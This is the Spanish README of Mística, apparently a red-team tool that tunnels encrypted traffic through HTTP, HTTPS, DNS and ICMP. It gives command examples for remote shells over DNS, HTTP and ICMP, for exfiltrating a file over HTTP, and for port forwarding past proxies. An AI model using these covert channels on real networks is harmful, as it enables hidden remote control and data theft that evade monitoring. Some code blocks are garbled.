Mística


Logotipo de Mística por JoelGMSec

Mística es una herramienta que permite incrustar datos en campos de protocolos de la capa de aplicación, con el objetivo de establecer un canal bidireccional para comunicaciones arbitrarias. Actualmente, se ha implementado la encapsulación en los protocolos HTTP, HTTPS, DNS e ICMP, pero se espera introducir más protocolos en un futuro próximo.

Mística tiene un diseño modular, construido alrededor de un protocolo de transporte personalizado, llamado SOTP: Simple Overlay Transport Protocol. Los datos se cifran, se dividen en fragmentos y se colocan en paquetes SOTP. Los paquetes SOTP se codifican e incrustan en el campo deseado del protocolo de aplicación, y se envían al otro extremo.

El objetivo de la capa SOTP es ofrecer un protocolo de transporte binario genérico, con una sobrecarga mínima. Los paquetes SOTP se pueden ocultar o incrustar fácilmente en protocolos de aplicación legítimos. Además, SOTP se asegura de que los paquetes sean recibidos por el otro extremo, cifra los datos usando RC4 (esto puede cambiar en el futuro), y garantiza que la información pueda fluir en ambos sentidos de manera transparente, mediante un mecanismo de sondeo.

Los módulos interactúan con la capa SOTP para diferentes propósitos:

Módulos envolventes o Wrappers: Estos módulos codifican/decodifican paquetes SOTP desde/hacia protocolos de la capa de aplicación
Módulos de superposición: Estos módulos se comunican a través del canal SOTP. Ejemplos son: redirección de E/S (como netcat), shell (ejecución de comandos), reenvío de puertos…

Los módulos envolventes y de superposición trabajan juntos para construir aplicaciones personalizadas, por ejemplo, redirección de entrada a través de DNS o reenvío remoto de puertos a través de HTTP.

El diseño modular de Mística permite un fácil desarrollo de nuevos módulos. Además, el usuario puede bifurcar fácilmente los módulos actuales para usar algún campo o codificación personalizados o modificar el comportamiento de un módulo de superposición.

Hay dos piezas principales de software:

Servidor Mística (ms.py): Utiliza módulos que actúan como servidor del protocolo de la capa de aplicación deseado (HTTP, HTTPS, DNS, ICMP...). También está diseñado de una manera que permitirá ejecutar múltiples servidores, envolventes y superposiciones al mismo tiempo, con una sola instancia de ms.py, aunque esta funcionalidad aún no está completamente implementada.
Cliente Mística (mc.py): Utiliza módulos que actúan como cliente del protocolo de la capa de aplicación deseado (HTTP, HTTPS, DNS, ICMP...). Solo puede usar una superposición y un envolvente al mismo tiempo.

Demostraciones

Puedes ver algunas demostraciones de Mística en la siguiente lista de reproducción

Dependencias

El proyecto tiene muy pocas dependencias. Actualmente:

Cliente Mística necesita al menos Python 3.7
Servidor Mística necesita al menos Python 3.7 y dnslib.``` python3.7 -m pip install pip --user pip3.7 install dnslib --user

Si no deseas instalar Python en tu sistema, puedes usar una de las siguientes versiones portátiles:

- https://www.anaconda.com/distribution/#download-section (para Windows, Linux y macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (solo para Windows)

## Módulos actuales

Módulos de superposición:

- `io`: Lee desde stdin, envía a través de la conexión SOTP. Lee desde la conexión SOTP, imprime a stdout
- `shell`: Ejecuta comandos recibidos a través de la conexión SOTP y devuelve la salida. Compatible con el módulo io.
- `tcpconnect`: Se conecta a un puerto TCP. Lee desde el socket, envía a través de la conexión SOTP. Lee desde la conexión SOTP, envía a través del socket.
- `tcplisten`: Se vincula a un puerto TCP. Lee desde el socket, envía a través de la conexión SOTP. Lee desde la conexión SOTP, envía a través del socket.

Módulos de envoltura:

- `dns`: Codifica/Decodifica datos en consultas/respuestas DNS usando diferentes métodos
- `http`: Codifica/Decodifica datos en solicitudes/respuestas HTTP o HTTPS usando diferentes métodos
- `icmp`: Codifica/Decodifica datos en solicitudes/respuestas de eco ICMP en la sección de datos

## Uso

`ms.py`: Servidor Mística

Así es como se ve el mensaje de ayuda:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

Hay dos modos principales en Mística Server:

Modo de Manejador Único: Cuando ms.py se ejecuta con parámetros, permite que un único módulo de superposición interactúe con un único módulo envolvente.
Modo Multi-handler: (Aún no publicado) Cuando ms.py se ejecuta sin parámetros, el usuario ingresa a una consola interactiva, donde se pueden lanzar múltiples módulos de superposición y envolventes. Estos módulos podrán interactuar entre sí, con pocas restricciones.

mc.py: Cliente de Mística

Así es como se ve el mensaje de ayuda:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

### Parámetros

- `-l, --list` se usa para listar `all` módulos, solo listar un tipo: (`overlays` o `wrappers`) o listar los parámetros que un determinado módulo puede aceptar mediante `-o`, `-w` o `-s`.
- `-k, --key` se usa para especificar la clave que se utilizará para cifrar la comunicación del overlay. Esta debe ser la misma en cliente y servidor y actualmente es obligatoria. Esto puede cambiar en el futuro si se implementan esquemas de secreto compartido.
- `-m, --modules` se usa para especificar qué par de módulos desea utilizar. Debe usar el siguiente formato: **módulo_overlay** + **:** + **módulo_wrap**. Este parámetro también es obligatorio.
- `-w, --wrapper-args` le permite especificar una configuración particular para el módulo wrap.
- `-o, --overlay-args` le permite especificar una configuración particular para el módulo overlay.
- `-s, --wrap-server-args` solo está presente en `ms.py`. Le permite especificar una configuración particular para el servidor wrap. Cada módulo wrap tiene una dependencia de un servidor wrap, y ambas configuraciones se pueden ajustar.

## Ejemplos y Uso Avanzado

> Recuerde que puede ver todos los parámetros aceptados de un módulo escribiendo `-l <nombre_módulo>` (por ejemplo `./ms.py -l dns`). ¡También recuerde usar una clave larga y compleja para proteger sus comunicaciones!

### HTTP

Para ilustrar los diferentes métodos de encapsulación HTTP, se utilizará el módulo overlay de redirección IO (`io`) para cada ejemplo.

- Método HTTP GET con codificación b64 en la URI predeterminada, usando localhost y puerto 8080 (valores por defecto).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey"`
- Método HTTP GET con codificación b64 en la URI predeterminada, **especificando dirección IP y puerto**.
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- Método HTTP GET con codificación b64 en **URI personalizada**, usando localhost y puerto 8080 (valores por defecto).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Método HTTP GET con codificación b64 en **encabezado personalizado**, usando localhost y puerto 8080 (valores por defecto).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Método HTTP **POST** con codificación b64 en campo predeterminado, usando localhost y puerto 8080 (valores por defecto).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- Método HTTP **POST** con codificación b64 en **encabezado personalizado**, usando localhost y puerto 8080 (valores por defecto).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Método HTTP **POST** con codificación b64 en **campo personalizado**, usando localhost y puerto 8080 (valores por defecto).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Método HTTP **POST** con codificación b64 en **campo personalizado, con tamaño de paquete personalizado, reintentos personalizados, tiempo de espera personalizado y especificando IP y puerto**:
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- Método HTTP **POST** con codificación b64 en **campo personalizado**, **usando una plantilla de error personalizada**, usando localhost y puerto 8080 (valores por defecto).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Método HTTP GET con codificación b64 en la URI predeterminada, usando **código de respuesta HTTP personalizado** y usando localhost y puerto 8080 (valores por defecto):
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Método HTTPS GET con codificación b64 en la URI predeterminada usando puerto 443. Se debe generar un certificado en Mistica Server para usar la opción ssl, el Cliente Mística solo necesita recibir la bandera ssl:
  - Servidor Mística:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- Método HTTP GET con codificación b64 en la URI predeterminada, usando servidor proxy en Cliente Mística (puede usarse en entornos donde la comunicación HTTP debe pasar necesariamente a través de un proxy corporativo, que no está especificado en la configuración de la computadora). Pruebe el siguiente ejemplo con Burpsuite:
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

Para ilustrar los diferentes métodos de encapsulación DNS, se utilizará el módulo overlay de redirección IO (`io`) para cada ejemplo.

- Consulta TXT, usando localhost y puerto 5353 (valores por defecto):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey"`
- Consulta NS, usando localhost y puerto 5353 (valores por defecto):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- Consulta CNAME, usando localhost y puerto 5353 (valores por defecto):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- Consulta MX, usando localhost y puerto 5353 (valores por defecto):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- Consulta SOA, usando localhost y puerto 5353 (valores por defecto):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- Consulta TXT, usando localhost y puerto 5353 (valores por defecto) y **dominios personalizados**:
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Cliente Mística:  
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- Consulta TXT, especificando puerto y nombre de host:
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- Consulta TXT, usando múltiples subdominios:
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

El kernel de Linux, cuando recibe un paquete de solicitud de eco ICMP, por defecto responde automáticamente con un paquete de respuesta de eco ICMP (sin darnos ninguna opción para responder). Es por eso que tenemos que deshabilitar las respuestas ICMP para poder enviar las nuestras propias con datos que difieran de los enviados por el cliente. Para hacer esto, hacemos lo siguiente:

Deshabilitar las respuestas ICMP automáticas por parte del kernel (se requiere *root*) editando el archivo `/etc/sysctl.conf`:

- Agregue la siguiente línea a su /etc/sysctl.conf:```
net.ipv4.icmp_echo_ignore_all=1

Luego, ejecuta: sysctl -p para que tenga efecto.

Ahora, para ilustrar los diferentes métodos de encapsulación ICMP, se utilizará el módulo de superposición de redirección IO (io) para cada ejemplo.

Sección de datos ICMP, usando la interfaz eth0:
- Servidor Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- Cliente Mística: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

Shell y IO

Puedes obtener ejecución remota de comandos usando mística a través de un canal personalizado, combinando los módulos io y shell. Ejemplos:

Ejecutando comandos en el sistema cliente a través de DNS usando consultas TXT.
- Servidor Mística: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
- Cliente Mística: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
Ejecutando comandos en el sistema servidor a través de HTTP usando solicitudes GET:
- Servidor Mística: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
- Cliente Mística: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
Ejecutando comandos en el sistema cliente a través de ICMP:
- Servidor Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- Cliente Mística: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
Exfiltrando archivos a través de HTTP usando el módulo IO y operadores de redirección:
- Servidor Mística: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
- Cliente Mística (importante ejecutar desde el cmd):

Reenvío de puertos con tcpconnect y tcplisten

Reenvío de puerto remoto (visto desde el servidor) sobre HTTP. La dirección 127.0.0.1:4444 en el cliente será reenviada a la dirección 127.0.0.1:5555 en el servidor. Debe haber algo escuchando en 5555.
- Servidor Mística: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
- Cliente Mística: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
Reenvío de puerto local (visto desde el servidor) sobre DNS. La dirección 127.0.0.1:4444 en el servidor será reenviada a la dirección 127.0.0.1:5555 en el cliente. Debe haber algo escuchando en 5555.
- Servidor Mística: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
- Cliente Mística: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

Se ha creado una imagen Docker para uso local. Esto evita tener que instalar Python o dnslib solo si queremos probar la herramienta, también es muy interesante para depuración o similares porque evitamos el ruido generado por otras aplicaciones locales. Para construirla simplemente seguimos estos pasos:

Primero construir la imagen con:``` sudo docker build --tag mistica:latest .

* Segundo, crea la red con:```
sudo docker network create misticanw

Tercero, ejecute el servidor con:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash

* Cuarto: ejecute el cliente con:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

Cómo compilar

Mística es una herramienta desarrollada en Python, lo que significa que, teóricamente, se puede compilar.

Para compilar la herramienta usaremos Pyinstaller, esta herramienta nos permitirá generar un binario (dependiendo del sistema operativo en el que estemos), esto significa que NO podemos hacer compilación cruzada como en otros lenguajes como C, C++, Golang, Rust, etc. Estamos trabajando en una forma de hacer esto posible, sin embargo, te dejamos el comando de Pyinstaller que nos permitirá compilar Mística en cualquier sistema operativo:

Compilar Cliente Mistica

Como el Cliente Mística no tiene dependencias, se puede compilar directamente con Pyinstaller. Para compilarlo sigue los siguientes pasos:

Primero, instala pyinstaller para Python3.7 o superior:``` python3.7 -m pip install pyinstaller --user

* Y ahora, compila Mística Client con el siguiente comando:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

Compilar el Servidor Mística

Si deseas compilar el Servidor Mística, necesitas instalar, con Pip, la biblioteca Dnslib de forma global (recuerda que es la única dependencia de Mística, y solo para el Servidor Mística). Para ello, debes seguir los siguientes pasos:

Primero, instala Python3.7 o superior en tu sistema Windows, Linux o Mac.
Segundo, instala, con Pip, la biblioteca Dnslib: pip install dnslib (sin el flag '--user', de esta manera se instalará globalmente en el sistema, de lo contrario, pyinstaller no podrá añadirla como importación oculta. Este paso requiere permisos de administrador)
Tercero, instala, con Pip, la biblioteca Pyinstaller: pip install pyinstaller.
Y cuarto, compila el Servidor Mística con el siguiente comando:``` pyinstaller --onefile
--hiddenimport overlay.client.io
--hiddenimport overlay.client.shell
--hiddenimport overlay.client.tcpconnect
--hiddenimport overlay.client.tcplisten
--hiddenimport wrapper.client.http
--hiddenimport wrapper.client.dns
--hiddenimport wrapper.client.icmp
--hiddenimport overlay.server.io
--hiddenimport overlay.server.shell
--hiddenimport overlay.server.tcpconnect
--hiddenimport overlay.server.tcplisten
--hiddenimport wrapper.server.wrap_module.http
--hiddenimport wrapper.server.wrap_module.dns
--hiddenimport wrapper.server.wrap_module.icmp
--hiddenimport wrapper.server.wrap_server.httpserver
--hiddenimport wrapper.server.wrap_server.dnsserver
--hiddenimport wrapper.server.wrap_server.icmpserver
--hiddenimport dnslib
ms.py

## Trabajo futuro

- Método de compilación cruzada para poder compilar Mistica para diferentes sistemas operativos sin tener que hacerlo desde el sistema operativo de destino.
- Generación de claves Diffie-Hellman transparente para el protocolo SOTP
- Modo Multi-Handler: Modo interactivo para `ms.py`. Esto permitirá al usuario combinar más de un overlay con más de un wrapper y más de un módulo wrap por servidor wrap.
- Documentación de desarrollo de módulos para el desarrollo de módulos personalizados. Esto no se recomienda en este momento, ya que la especificación del módulo aún está en desarrollo.
- Próximos módulos:
    - Wrapper SMB
    - Overlay de RAT y manejador de RAT
    - Overlay de proxy SOCKS y reenvío de puertos dinámico
    - Overlay de transferencia de archivos
    - Wrapper RDP
- Plantillas HTTP personalizadas para encapsulaciones más complejas
- Documentación de especificación del protocolo SOTP para clientes o servidores personalizados. Esto no se recomienda en este momento, ya que el protocolo aún está en desarrollo.

## Autores y licencia

Este proyecto ha sido desarrollado por Carlos Fernández Sánchez y Raúl Caro Teixidó. El código se publica bajo la Licencia Pública General de GNU v3.

Este proyecto utiliza código de terceros de código abierto, en particular:

- [Bitstring](https://github.com/scott-griffiths/bitstring) desarrollado por Scott Griffiths.
- [Un RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) desarrollado por David Buchanan.
- [Un Cliente DNS sin dependencias](https://github.com/vlasebian/simple-dns-client) desarrollado por Vlad Vitan.
- [Un Servidor y Cliente ICMP sin dependencias](https://github.com/rcaroncd/ICMPack/) desarrollado por Raul Caro.

Mistica

Más Populares